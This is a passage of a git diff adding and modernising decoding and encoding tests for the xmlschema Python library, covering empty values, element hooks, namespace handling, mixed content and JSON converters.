datatypes.Base64Binary('YWJjZWZnaGk=')) - self.check_decode(base64_code_type, u'YWJjZWZnaA=', XMLSchemaValidationError) - self.check_decode(base64_code_type, u'YWJjZWZna$==', XMLSchemaValidationError) + self.check_decode(base64_code_type, 'YWJjZWZnaA=', XMLSchemaValidationError) + self.check_decode(base64_code_type, 'YWJjZWZna$==', XMLSchemaValidationError) base64_length4_type = self.st_schema.types['base64Length4'] self.check_decode(base64_length4_type, base64.b64encode(b'abc'), @@ -975,14 +1195,93 @@ def test_nillable__issue_076(self): obj = xsd_schema.decode(xml_string_2, use_defaults=False) self.check_etree_elements(ElementTree.fromstring(xml_string_2), xsd_schema.encode(obj)) + def test_keep_empty(self): + schema = self.schema_class(self.casepath('issues/issue_322/issue_322.xsd')) + xml_file = self.casepath('issues/issue_322/issue_322.xml') + + data = schema.decode(xml_file) + self.assertEqual(data, { + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + 'emptystring': None, + 'nillstring': {'@xsi:nil': 'true'} + }) + + data = schema.decode(xml_file, keep_empty=True) + self.assertEqual(data, { + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + 'emptystring': '', + 'nillstring': {'@xsi:nil': 'true'} + }) + + schema = self.schema_class(dedent("""\ + + + + + + + + + + + + + + + + + + """)) + + xml_data = "" + data, errors = schema.decode(xml_data, validation='lax', keep_empty=True) + self.assertEqual(data, {'emptiable': '', 'filled': '', 'number': None}) + self.assertEqual(len(errors), 2) + + data = schema.decode(xml_data, validation='skip', keep_empty=True) + self.assertEqual(data, {'emptiable': '', 'filled': '', 'number': ''}) + + def test_element_hook__issue_322(self): + schema = self.schema_class(self.casepath('issues/issue_322/issue_322.xsd')) + xml_file = self.casepath('issues/issue_322/issue_322.xml') + + def element_hook(element_data: ElementData, *_args): + if not element_data.attributes: + return element_data + + return ElementData( + element_data.tag, + element_data.text, + element_data.content, + [x for x in element_data.attributes if x[0] != XSI_NIL], + None + ) + + data = schema.decode(xml_file, element_hook=element_hook) + self.assertEqual(data, { + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + 'emptystring': None, + 'nillstring': None, + }) + + # Resolution for issue 322 + data = schema.decode(xml_file, keep_empty=True, element_hook=element_hook) + self.assertEqual(data, { + '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', + 'emptystring': '', + 'nillstring': None, + }) + def test_default_namespace__issue_077(self): xs = self.schema_class(""" - """) self.assertEqual(xs.to_dict("""bar""", - path='/foo', namespaces={'': 'http://example.com/foo'}), 'bar') + path='/foo', namespaces={'': 'http://example.com/foo'}), + {'@xmlns': 'http://example.com/foo', '$': 'bar'}) + self.assertEqual(xs.to_dict("""bar""", path='/foo', namespaces={'': 'http://example.com/foo'}), None) @@ -997,7 +1296,7 @@ def test_complex_with_simple_content_restriction(self): def test_union_types__issue_103(self): decimal_or_nan = self.st_schema.types['myType'] self.check_decode(decimal_or_nan, '95.0', Decimal('95.0')) - self.check_decode(decimal_or_nan, 'NaN', u'NaN') + self.check_decode(decimal_or_nan, 'NaN', 'NaN') def test_default_values__issue_108(self): # From issue #108 @@ -1071,22 +1370,22 @@ def test_keep_unknown_tags__issue_204(self): self.assertFalse(schema.is_valid(self.casepath('issues/issue_204/issue_204_2.xml'))) data = schema.decode(self.casepath('issues/issue_204/issue_204_2.xml'), validation='lax') - self.assertEqual(set(x for x in data[0] if x[0] != '@'), {'child2', 'child5'}) + self.assertEqual({x for x in data[0] if x[0] != '@'}, {'child2', 'child5'}) data = schema.decode(self.casepath('issues/issue_204/issue_204_3.xml'), validation='lax') - self.assertEqual(set(x for x in data[0] if x[0] != '@'), {'child2', 'child5'}) + self.assertEqual({x for x in data[0] if x[0] != '@'}, {'child2', 'child5'}) data = schema.decode(self.casepath('issues/issue_204/issue_204_3.xml'), validation='lax', keep_unknown=True) - self.assertEqual(set(x for x in data[0] if x[0] != '@'), {'child2', 'unknown', 'child5'}) + self.assertEqual({x for x in data[0] if x[0] != '@'}, {'child2', 'unknown', 'child5'}) self.assertEqual(data[0]['unknown'], {'a': ['1'], 'b': [None]}) data = schema.decode(self.casepath('issues/issue_204/issue_204_2.xml'), validation='skip') - self.assertEqual(set(x for x in data if x[0] != '@'), {'child2', 'child5'}) + self.assertEqual({x for x in data if x[0] != '@'}, {'child2', 'child5'}) data = schema.decode(self.casepath('issues/issue_204/issue_204_3.xml'), validation='skip', keep_unknown=True) - self.assertEqual(set(x for x in data if x[0] != '@'), {'child2', 'unknown', 'child5'}) + self.assertEqual({x for x in data if x[0] != '@'}, {'child2', 'unknown', 'child5'}) self.assertEqual(data['unknown'], {'a': ['1'], 'b': [None]}) def test_error_message__issue_115(self): @@ -1202,6 +1501,322 @@ def test_issue_240__decode_unicode_to_json(self): self.assertIsInstance(obj, str) self.assertEqual(json_data.encode("utf-8"), b'"\\u00f8\\u00e6\\u00e5"') + def test_float_decoding(self): + for float_type in [self.schema_class.meta_schema.types['float'], + self.schema_class.meta_schema.types['double']]: + self.assertAlmostEqual(float_type.decode('-1'), -1.0) + self.assertAlmostEqual(float_type.decode('19.7'), 19.7) + self.assertAlmostEqual(float_type.decode('INF'), float('inf')) + self.assertAlmostEqual(float_type.decode('-INF'), float('-inf')) + self.assertNotAlmostEqual(float_type.decode('INF'), float('-inf')) + self.assertTrue(math.isnan(float_type.decode('NaN'))) + + def test_no_process_namespaces__issue_314(self): + xsd_file = self.casepath('issues/issue_314/issue_314.xsd') + xml_file = self.casepath('issues/issue_314/issue_314.xml') + schema = self.schema_class(xsd_file) + + result = schema.decode(xml_file) + self.assertEqual( + result, + {'@xmlns:p': 'my_namespace', + '@xmlns:b': 'http://www.w3.org/2001/XMLSchema-instance', + 'p:container': { + 'p:item': [{ + '@b:type': 'p:ConcreteContainterItemInfo', + '@attr_2': 'value_2'} + ]}} + ) + + result = schema.decode(xml_file, process_namespaces=False) + self.assertEqual( + result, + {'{my_namespace}container': { + '{my_namespace}item': [{ + '@{http://www.w3.org/2001/XMLSchema-instance}type': + 'p:ConcreteContainterItemInfo', + '@attr_2': 'value_2'}]}} + ) + + def test_mixed_content_decode__issue_334(self): + schema = self.schema_class(""" + + + + + + + + + + + + + + + + + + + + + + """) + + result = schema.decode('text1tail1tail2') + self.assertEqual(result, {'elem1': [None, None]}) + + result = schema.decode('text1tail1tail2', cdata_prefix='#') + self.assertEqual(result, {'#1': 'text1', + 'elem1': [None, None], + '#2': 'tail1', + '#3': 'tail2'}) + result = schema.decode('text1tail1tail2', cdata_prefix='') + self.assertEqual(result, {'1': 'text1', + 'elem1': [None, None], + '2': 'tail1', + '3': 'tail2'}) + + xsd_file = self.casepath('issues/issue_334/issue_334.xsd') + xml_file = self.casepath('issues/issue_334/issue_334.xml') + xs = self.schema_class(xsd_file) + result = xs.decode(xml_file) + body_text = result['Demonstrative_Example'][0]['Body_Text'] + + expected = ['The snippet of code below establishes a new cookie to hold the sessionID.', + 'The HttpOnly flag is not set for the cookie. An attacker who can perform ' + 'XSS could insert malicious script such as:', + 'When the client loads and executes this script, it makes a request to the ' + 'attacker-controlled web site. The attacker can then log the request and ' + 'steal the cookie.', + 'To mitigate the risk, use the setHttpOnly(true) method.'] + self.assertListEqual(body_text, expected) + + result = xs.decode(xml_file, preserve_root=True) + body_text = result['Demonstrative_Examples']['Demonstrative_Example'][0]['Body_Text'] + self.assertListEqual(body_text, expected) + + def test_fill_missing_elements__issue_341(self): + xsd_file = self.casepath('issues/issue_341/issue_341.xsd') + xml_file = self.casepath('issues/issue_341/issue_341.xml') + schema = self.schema_class(xsd_file) + + expected = {'TEST_EL': [ + {'@Date': '2022-10-03', + 'TEST_EL_2': { + 'exists_in_xml': { + '@test_attr': 'test_value_attr', '@test_attr_2': None + } + }} + ]} + xml_dict = schema.decode(xml_file, fill_missing=True) + self.assertDictEqual(xml_dict, expected) + + def fill_missing_content(element_data: ElementData, _xsd_element, xsd_type): + group = xsd_type.model_group + if group is None: + return element_data # an element with simple content + + filled_content = [] + model = ModelVisitor(group) + xsd_element = None + for name, value, xsd_element in element_data.content: + if isinstance(name, int) or xsd_element is None: + filled_content.append((name, value, xsd_element)) + continue + + while model.element is not None: + if model.element is xsd_element: + filled_content.append((name, value, xsd_element)) + for _err in model.advance(True): + pass + break + + if model.element.max_occurs != 0: + filled_content.append((model.element.name, None, model.element)) + for _err in model.advance(False): + pass + else: + filled_content.append((name, value, xsd_element)) + + while model.element is not None: + if model.element is not xsd_element and model.element.max_occurs != 0: + filled_content.append((model.element.name, None, model.element)) + for _err in model.advance(False): + pass + + return ElementData( + element_data.tag, + element_data.text, + filled_content, + element_data.attributes, + None + ) + + expected = {'TEST_EL': [ + {'@Date': '2022-10-03', + 'TEST_EL_2': { + 'exists_in_xml': { + '@test_attr': 'test_value_attr', '@test_attr_2': None + }, + 'not_exists_in_xml': None + }} + ]} + xml_dict = schema.decode(xml_file, element_hook=fill_missing_content, fill_missing=True) + self.assertDictEqual(xml_dict, expected) + + # Resolving more complex schemas requires more checks in hook function + xsd_file = self.casepath('issues/issue_341/issue_341-ext.xsd') + schema = self.schema_class(xsd_file) + + expected = {'TEST_EL': [ + {'@Date': '2022-10-03', + 'TEST_EL_2': { + 'exists_in_xml': { + '@test_attr': 'test_value_attr', '@test_attr_2': None + }, + 'not_exists_in_xml': None, + 'choice_elem1': None, + 'choice_elem2': None, # this is wrong (at most one element for a choice) + }} + ]} + xml_dict = schema.decode(xml_file, element_hook=fill_missing_content, fill_missing=True) + self.assertDictEqual(xml_dict, expected) + + def test_decoding_non_unicode_files(self): + # Using cp1252 encoded XSD + schema_file = self.casepath('examples/menù/menù-cp1252.xsd') + schema = self.schema_class(schema_file) + + xml_file = self.casepath('examples/menù/menù-cp1252.xml') + self.assertDictEqual(schema.decode(xml_file), MENU_DICT) + + xml_file = self.casepath('examples/menù/menù-ascii.xml') + with self.assertRaises(ElementTree.ParseError): + schema.decode(xml_file) # Invalid XML file (entity in a tag name) + + xml_file = self.casepath('examples/menù/menù.xml') + self.assertDictEqual(schema.decode(xml_file), MENU_DICT) + + # Using ASCII encoded XSD + schema_file = self.casepath('examples/menù/menù-ascii.xsd') + schema = self.schema_class(schema_file) + + xml_file = self.casepath('examples/menù/menù-cp1252.xml') + self.assertDictEqual(schema.decode(xml_file), MENU_DICT) + + xml_file = self.casepath('examples/menù/menù.xml') + self.assertDictEqual(schema.decode(xml_file), MENU_DICT) + + def test_xml_to_json_serialization(self): + xml_file = self.casepath('serialization/document.xml') + + obj = xmlschema.to_json( + xml_file, + validation='skip', + converter=xmlschema.ParkerConverter, + xmlns_processing='stacked', + ) + with open(self.casepath('serialization/parker.json')) as fp: + json_data = json.load(fp) + + self.assertDictEqual(json.loads(obj), json_data) + + obj = xmlschema.to_json( + xml_file, + validation='skip', + converter=xmlschema.BadgerFishConverter, + xmlns_processing='stacked', + ) + with open(self.casepath('serialization/badgerfish.json')) as fp: + json_data = json.load(fp) + + self.assertDictEqual(json.loads(obj), json_data) + + obj = xmlschema.to_json( + xml_file, + validation='skip', + converter=xmlschema.JsonMLConverter, + xmlns_processing='stacked', + ) + with open(self.casepath('serialization/jsonml.json')) as fp: + json_data = json.load(fp) + + self.assertListEqual(json.loads(obj), json_data) + + obj = xmlschema.to_json( + xml_file, + validation='skip', + converter=xmlschema.AbderaConverter, + xmlns_processing='stacked', + ) + with open(self.casepath('serialization/abdera.json')) as fp: + json_data = json.load(fp) + + self.assertDictEqual(json.loads(obj), json_data) + + def test_xmlns_processing_argument(self): + xsd_file = self.casepath('examples/collection/collection5.xsd') + xml_file = self.casepath('examples/collection/collection-redef-xmlns.xml') + + schema = self.schema_class(xsd_file) + self.assertTrue(schema.is_valid(xml_file)) + + obj = schema.decode(xml_file) + self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_STACKED) + + obj = schema.decode(xml_file, xmlns_processing='stacked') + self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_STACKED) + + obj = schema.decode(xml_file, xmlns_processing='collapsed') + self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_COLLAPSED) + + obj = schema.decode(xml_file, xmlns_processing='root-only') + self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_ROOT_ONLY) + + namespaces = {'xsi-alt': 'http://www.w3.org/2001/XMLSchema-instance', + 'col-alt': 'http://example.com/ns/collection'} + obj = schema.decode(xml_file, xmlns_processing='none', namespaces=namespaces) + self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_NONE) + + with self.assertRaises(ValueError): + schema.decode(xml_file, xmlns_processing='precise') + + with self.assertRaises(TypeError): + schema.decode(xml_file, xmlns_processing=True) + + def test_namespaces_argument(self): + namespaces = {'vh': 'http://example.com/vehicles'} + obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) + self.assertDictEqual(obj, VEHICLES_DICT) + + namespaces = {'vh2': 'http://example.com/vehicles'} + obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) + self.assertDictEqual(obj, VEHICLES_DICT_OVERRIDE_PREFIX_1) + + namespaces = {'vh-alt': 'http://example.com/vehicles', + '': 'http://example.com/vehicles'} + obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) + self.assertDictEqual(obj, VEHICLES_DICT_OVERRIDE_PREFIX_2) + + namespaces = {'': 'http://example.com/vehicles'} + obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) + self.assertDictEqual(obj, VEHICLES_DICT_OVERRIDE_PREFIX_3) + + def test_validation_hook_argument(self): + tags_num = 1 + + def stop_decoding(_e, _xsd_element): + nonlocal tags_num + if tags_num >= 10: + return True + tags_num += 1 + return False + + obj = self.col_schema.decode(self.col_xml_file, validation_hook=stop_decoding) + self.assertIn('object', obj) + self.assertEqual(len(obj['object']), 1) + class TestDecoding11(TestDecoding): schema_class = XMLSchema11 diff --git a/tests/validation/test_encoding.py b/tests/validation/test_encoding.py index 009ab59..de9a1b7 100644 --- a/tests/validation/test_encoding.py +++ b/tests/validation/test_encoding.py @@ -8,10 +8,10 @@ # # @author Davide Brunato # -import sys import os import unittest from textwrap import dedent +from xml.etree import ElementTree try: import lxml.etree as lxml_etree @@ -19,15 +19,15 @@ lxml_etree = None from elementpath import datatypes +from elementpath.etree import etree_tostring from xmlschema import XMLSchemaEncodeError, XMLSchemaValidationError -from xmlschema.converters import UnorderedConverter -from xmlschema.etree import etree_element, etree_tostring, ElementTree +from xmlschema.converters import UnorderedConverter, JsonMLConverter from xmlschema.helpers import local_name, is_etree_element from xmlschema.resources import XMLResource from xmlschema.validators.exceptions import XMLSchemaChildrenValidationError from xmlschema.validators import XMLSchema11 -from xmlschema.testing import XsdValidatorTestCase +from xmlschema.testing import XsdValidatorTestCase, etree_elements_assert_equal class TestEncoding(XsdValidatorTestCase): @@ -53,7 +53,7 @@ def check_encode(self, xsd_component, data, expected, **kwargs): self.assertTrue(isinstance(obj, type(expected))) def test_decode_encode(self): - """Test encode after a decode, checking the re-encoded tree.""" + """Test encode after decode, checking the re-encoded tree.""" filename = self.casepath('examples/collection/collection.xml') xt = ElementTree.parse(filename) xd = self.col_schema.to_dict(filename) @@ -69,54 +69,54 @@ def test_decode_encode(self): )) def test_string_based_builtin_types(self): - self.check_encode(self.xsd_types['string'], 'sample string ', u'sample string ') - self.check_encode(self.xsd_types['normalizedString'], ' sample string ', u' sample string ') + self.check_encode(self.xsd_types['string'], 'sample string ', 'sample string ') + self.check_encode(self.xsd_types['normalizedString'], ' sample string ', ' sample string ') self.check_encode(self.xsd_types['normalizedString'], - '\n\r sample\tstring\n', u' sample string ') - self.check_encode(self.xsd_types['token'], '\n\r sample\t\tstring\n ', u'sample string') + '\n\r sample\tstring\n', ' sample string ') + self.check_encode(self.xsd_types['token'], '\n\r sample\t\tstring\n ', 'sample string') self.check_encode(self.xsd_types['language'], 'sample string', XMLSchemaValidationError) - self.check_encode(self.xsd_types['language'], ' en ', u'en') - self.check_encode(self.xsd_types['Name'], 'first_name', u'first_name') - self.check_encode(self.xsd_types['Name'], ' first_name ', u'first_name') + self.check_encode(self.xsd_types['language'], ' en ', 'en') + self.check_encode(self.xsd_types['Name'], 'first_name', 'first_name') + self.check_encode(self.xsd_types['Name'], ' first_name ', 'first_name') self.check_encode(self.xsd_types['Name'], 'first name', XMLSchemaValidationError) self.check_encode(self.xsd_types['Name'], '1st_name', XMLSchemaValidationError) - self.check_encode(self.xsd_types['Name'], 'first_name1', u'first_name1') - self.check_encode(self.xsd_types['Name'], 'first:name', u'first:name') - self.check_encode(self.xsd_types['NCName'], 'first_name', u'first_name') + self.check_encode(self.xsd_types['Name'], 'first_name1', 'first_name1') + self.check_encode(self.xsd_types['Name'], 'first:name', 'first:name') + self.check_encode(self.xsd_types['NCName'], 'first_name', 'first_name') self.check_encode(self.xsd_types['NCName'], 'first:name', XMLSchemaValidationError) self.check_encode(self.xsd_types['ENTITY'], 'first:name', XMLSchemaValidationError) self.check_encode(self.xsd_types['ID'], 'first:name', XMLSchemaValidationError) self.check_encode(self.xsd_types['IDREF'], 'first:name', XMLSchemaValidationError) def test_decimal_based_builtin_types(self): - self.check_encode(self.xsd_types['decimal'], -99.09, u'-99.09') - self.check_encode(self.xsd_types['decimal'], '-99.09', u'-99.09') - self.check_encode(self.xsd_types['integer'], 1000, u'1000') + self.check_encode(self.xsd_types['decimal'], -99.09, '-99.09') + self.check_encode(self.xsd_types['decimal'], '-99.09', '-99.09') + self.check_encode(self.xsd_types['integer'], 1000, '1000') self.check_encode(self.xsd_types['integer'], 100.0, XMLSchemaEncodeError) - self.check_encode(self.xsd_types['integer'], 100.0, u'100', validation='lax') - self.check_encode(self.xsd_types['short'], 1999, u'1999') + self.check_encode(self.xsd_types['integer'], 100.0, '100', validation='lax') + self.check_encode(self.xsd_types['short'], 1999, '1999') self.check_encode(self.xsd_types['short'], 10000000, XMLSchemaValidationError) - self.check_encode(self.xsd_types['float'], 100.0, u'100.0') + self.check_encode(self.xsd_types['float'], 100.0, '100.0') self.check_encode(self.xsd_types['float'], 'hello', XMLSchemaEncodeError) - self.check_encode(self.xsd_types['double'], -4531.7, u'-4531.7') + self.check_encode(self.xsd_types['double'], -4531.7, '-4531.7') self.check_encode(self.xsd_types['positiveInteger'], -1, XMLSchemaValidationError) self.check_encode(self.xsd_types['positiveInteger'], 0, XMLSchemaValidationError) - self.check_encode(self.xsd_types['nonNegativeInteger'], 0, u'0') + self.check_encode(self.xsd_types['nonNegativeInteger'], 0, '0') self.check_encode(self.xsd_types['nonNegativeInteger'], -1, XMLSchemaValidationError) - self.check_encode(self.xsd_types['negativeInteger'], -100, u'-100') + self.check_encode(self.xsd_types['negativeInteger'], -100, '-100') self.check_encode(self.xsd_types['nonPositiveInteger'], 7, XMLSchemaValidationError) - self.check_encode(self.xsd_types['unsignedLong'], 101, u'101') + self.check_encode(self.xsd_types['unsignedLong'], 101, '101') self.check_encode(self.xsd_types['unsignedLong'], -101, XMLSchemaValidationError) self.check_encode(self.xsd_types['nonPositiveInteger'], 7, XMLSchemaValidationError) def test_list_builtin_types(self): - self.check_encode(self.xsd_types['IDREFS'], ['first_name'], u'first_name') + self.check_encode(self.xsd_types['IDREFS'], ['first_name'], 'first_name') self.check_encode(self.xsd_types['IDREFS'], - 'first_name', u'first_name') # Transform data to list - self.check_encode(self.xsd_types['IDREFS'], ['one', 'two', 'three'], u'one two three') + 'first_name', 'first_name') # Transform data to list + self.check_encode(self.xsd_types['IDREFS'], ['one', 'two', 'three'], 'one two three') self.check_encode(self.xsd_types['IDREFS'], [1, 'two', 'three'], XMLSchemaValidationError) - self.check_encode(self.xsd_types['NMTOKENS'], ['one', 'two', 'three'], u'one two three') - self.check_encode(self.xsd_types['ENTITIES'], ('mouse', 'cat', 'dog'), u'mouse cat dog') + self.check_encode(self.xsd_types['NMTOKENS'], ['one', 'two', 'three'], 'one two three') + self.check_encode(self.xsd_types['ENTITIES'], ('mouse', 'cat', 'dog'), 'mouse cat dog') def test_datetime_builtin_type(self): xs = self.get_schema('') @@ -206,27 +206,27 @@ def test_list_types(self): def test_union_types(self): integer_or_float = self.st_schema.types['integer_or_float'] - self.check_encode(integer_or_float, -95, u'-95') - self.check_encode(integer_or_float, -95.0, u'-95.0') + self.check_encode(integer_or_float, -95, '-95') + self.check_encode(integer_or_float, -95.0, '-95.0') self.check_encode(integer_or_float, True, XMLSchemaEncodeError) - self.check_encode(integer_or_float, True, u'1', validation='lax') + self.check_encode(integer_or_float, True, '1', validation='lax') integer_or_string = self.st_schema.types['integer_or_string'] - self.check_encode(integer_or_string, 89, u'89') - self.check_encode(integer_or_string, 89.0, u'89', validation='lax') + self.check_encode(integer_or_string, 89, '89') + self.check_encode(integer_or_string, 89.0, '89', validation='lax') self.check_encode(integer_or_string, 89.0, XMLSchemaEncodeError) self.check_encode(integer_or_string, False, XMLSchemaEncodeError) - self.check_encode(integer_or_string, "Venice ", u'Venice ') + self.check_encode(integer_or_string, "Venice ", 'Venice ') boolean_or_integer_or_string = self.st_schema.types['boolean_or_integer_or_string'] - self.check_encode(boolean_or_integer_or_string, 89, u'89') - self.check_encode(boolean_or_integer_or_string, 89.0, u'89', validation='lax') + self.check_encode(boolean_or_integer_or_string, 89, '89') + self.check_encode(boolean_or_integer_or_string, 89.0, '89', validation='lax') self.check_encode(boolean_or_integer_or_string, 89.0, XMLSchemaEncodeError) - self.check_encode(boolean_or_integer_or_string, False, u'false') - self.check_encode(boolean_or_integer_or_string, "Venice ", u'Venice ') + self.check_encode(boolean_or_integer_or_string, False, 'false') + self.check_encode(boolean_or_integer_or_string, "Venice ", 'Venice ') def test_simple_elements(self): - elem = etree_element('A') + elem = ElementTree.Element('A') elem.text = '89' self.check_encode(self.get_element('A', type='xs:string'), '89', elem) self.check_encode(self.get_element('A', type='xs:integer'), 89, elem) @@ -294,7 +294,7 @@ def test_complex_elements(self): self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('B3', False)]), - expected=u'\nabc\n10\nfalse\n', + expected='\nabc\n10\nfalse\n', indent=0, ) self.check_encode(schema.elements['A'], {'B1': 'abc', 'B2': 10, 'B4': False}, @@ -318,12 +318,8 @@ def test_error_message(self): self.assertTrue(message_lines, msg="Empty error message!") self.assertEqual(message_lines[-4], 'Instance:') - if sys.version_info < (3, 8): - text = '' - else: - text = '' + text = '' self.assertEqual(message_lines[-2].strip(), text) # With 'lax' validation a dummy resource is assigned to source attribute @@ -388,7 +384,7 @@ def test_encode_unordered_content(self): self.check_encode( xsd_component=schema.elements['A'], data=dict([('B2', 10), ('B1', 'abc'), ('B3', True)]), - expected=u'\nabc\n10\ntrue\n', + expected='\nabc\n10\ntrue\n', indent=0, cdata_prefix='#', converter=UnorderedConverter ) @@ -401,7 +397,7 @@ def test_encode_unordered_content(self): self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('#1', 'hello'), ('B3', True)]), - expected=u'\nabc\n10\nhello\ntrue\n', + expected='\nabc\n10\nhello\ntrue\n', indent=0, cdata_prefix='#' ) self.check_encode( @@ -427,13 +423,13 @@ def test_encode_unordered_content_2(self): self.check_encode( xsd_component=schema.elements['A'], data=dict([('B2', 10), ('B1', 'abc'), ('B3', True)]), - expected=u'\nabc\n10\ntrue\n', + expected='\nabc\n10\ntrue\n', indent=0, cdata_prefix='#' ) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('#1', 'hello'), ('B3', True)]), - expected=u'\nhelloabc\n10\ntrue\n', + expected='\nhelloabc\n10\ntrue\n', indent=0, cdata_prefix='#' ) self.check_encode( @@ -485,7 +481,6 @@ def test_xsi_type_and_attributes_unmap__issue_214(self): - @@ -497,9 +492,10 @@ def test_xsi_type_and_attributes_unmap__issue_214(self): """) xml1 = """alpha""" - self.assertEqual(schema.decode(xml1), 'alpha') + self.assertEqual(schema.decode(xml1), + {'@xmlns': 'http://xmlschema.test/ns', '$': 'alpha'}) - xml2 = """alpha""" @@ -640,11 +636,14 @@ def test_lxml_encode(self): etree_element_class=lxml_etree.Element, ) + self.assertTrue(hasattr(elem, 'nsmap')) self.assertEqual( etree_tostring(elem, namespaces=self.col_namespaces), dedent( """\ - + 2 @@ -660,6 +659,201 @@ def test_lxml_encode(self): ) ) + def test_float_encoding(self): + for float_type in [self.schema_class.meta_schema.types['float'], + self.schema_class.meta_schema.types['double']]: + self.assertEqual(float_type.encode(-1.0), '-1.0') + self.assertEqual(float_type.encode(19.7), '19.7') + self.assertEqual(float_type.encode(float('inf')), 'INF') + self.assertEqual(float_type.encode(float('-inf')), '-INF') + self.assertEqual(float_type.encode(float('nan')), 'NaN') + + def test_wildcard_with_foreign_and_jsonml__issue_298(self): + schema = self.schema_class(self.casepath('issues/issue_298/issue_298.xsd')) + xml_data = self.casepath('issues/issue_298/issue_298-2.xml') + + instance = [ + 'tns:Root', + {'xmlns:tns': 'http://xmlschema.test/ns', + 'xmlns:zz': 'http://xmlschema.test/ns2'}, + ['Container', ['Freeform', ['zz:ForeignSchema']]] + ] + result = schema.decode(xml_data, converter=JsonMLConverter) + self.assertListEqual(result, instance) + + root, errors = schema.encode(instance, validation='lax', converter=JsonMLConverter) + self.assertListEqual(errors, []) + self.assertIsNone(etree_elements_assert_equal(root, ElementTree.parse(xml_data).getroot())) + + instance = ['tns:Root', ['Container', ['Freeform', ['zz:ForeignSchema']]]] + namespaces = {'tns': 'http://xmlschema.test/ns', + 'zz': 'http://xmlschema.test/ns2'} + root, errors = schema.encode(instance, validation='lax', + namespaces=namespaces, + use_defaults=False, + converter=JsonMLConverter) + self.assertListEqual(errors, []) + self.assertIsNone(etree_elements_assert_equal(root, ElementTree.parse(xml_data).getroot())) + + def test_encoding_with_default_namespace__issue_400(self): + schema = self.schema_class(dedent("""\ + <?xml version="1.0" encoding="utf-8"?> + <xs:schema targetNamespace="http://address0.com" + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:ser="http://address0.com" + xmlns:ds="http://www.address1.com"> + <xs:import namespace="http://www.w3.org/2000/09/xmldsig#" + schemaLocation="xmldsig-core-schema.xsd"/> + <xs:complexType name="class"> + <xs:sequence> + <xs:element name="student1" type="ser:String32" minOccurs="0"/> + <xs:element name="student2" type="ser:String32" minOccurs="0"/> + </xs:sequence> + </xs:complexType> + <xs:element name="class" type="ser:class"/> + <xs:simpleType name="String32"> + <xs:restriction base="xs:normalizedString"> + <xs:minLength value="1"/> + <xs:maxLength value="32"/> + </xs:restriction> + </xs:simpleType> + </xs:schema> + """)) + + xml_data = dedent("""\n + <ser:class xmlns:ser="http://address0.com"> + <student1>John</student1> + <student2>Rachel</student2> + </ser:class>""") + + obj = schema.decode(xml_data, preserve_root=True) + self.assertDictEqual(obj, {'ser:class': { + '@xmlns:ser': schema.target_namespace, + "student1": "John", + "student2": "Rachel"}}) + + root = schema.encode(obj, preserve_root=True) + self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) + + obj = schema.decode(xml_data, preserve_root=True, strip_namespaces=True) + self.assertDictEqual(obj, {'class': { + "student1": "John", + "student2": "Rachel"}}) + + with self.assertRaises(XMLSchemaValidationError): + schema.encode(obj, preserve_root=True) + + obj = { + 'ser:class': { + "student1": "John", + "student2": "Rachel" + } + } + + with self.assertRaises(XMLSchemaValidationError): + schema.encode(obj, preserve_root=True) + + root = schema.encode( + obj, preserve_root=True, namespaces={'ser': schema.target_namespace} + ) + self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) + + schema = self.schema_class(dedent("""\ + <?xml version="1.0" encoding="utf-8"?> + <xs:schema targetNamespace="http://address0.com" + elementFormDefault="qualified" + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:ser="http://address0.com" + xmlns:ds="http://www.address1.com"> + <xs:import namespace="http://www.w3.org/2000/09/xmldsig#" + schemaLocation="xmldsig-core-schema.xsd"/> + <xs:complexType name="class"> + <xs:sequence> + <xs:element name="student1" type="ser:String32" minOccurs="0"/> + <xs:element name="student2" type="ser:String32" minOccurs="0"/> + </xs:sequence> + </xs:complexType> + <xs:element name="class" type="ser:class"/> + <xs:simpleType name="String32"> + <xs:restriction base="xs:normalizedString"> + <xs:minLength value="1"/> + <xs:maxLength value="32"/> + </xs:restriction> + </xs:simpleType> + </xs:schema> + """)) + + self.assertFalse(schema.is_valid(xml_data)) + + xml_data = dedent("""\n + <ser:class xmlns:ser="http://address0.com"> + <ser:student1>John</ser:student1> + <ser:student2>Rachel</ser:student2> + </ser:class>""") + self.assertTrue(schema.is_valid(xml_data)) + + obj = schema.decode(xml_data, preserve_root=True) + self.assertDictEqual(obj, {'ser:class': { + '@xmlns:ser': schema.target_namespace, + "ser:student1": "John", + "ser:student2": "Rachel"}}) + + root = schema.encode(obj, preserve_root=True) + self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) + + obj = schema.decode(xml_data, preserve_root=True, strip_namespaces=True) + self.assertDictEqual(obj, {'class': { + "student1": "John", + "student2": "Rachel"}}) + + root = schema.encode(obj, preserve_root=True, namespaces={'': schema.target_namespace}) + self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) + + def test_encoding_qname_with_enumeration__issue_411(self): + schema = self.schema_class(dedent("""\ + <?xml version="1.0" encoding="utf-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:tns0="http://xmlschema.test/tns0" + xmlns:tns1="http://xmlschema.test/tns1"> + <xs:element name="root" type="Enum1"/> + <xs:simpleType name="Enum1"> + <xs:restriction base="xs:QName"> + <xs:enumeration value="tns0:foo"/> + <xs:enumeration value="tns1:bar"/> + 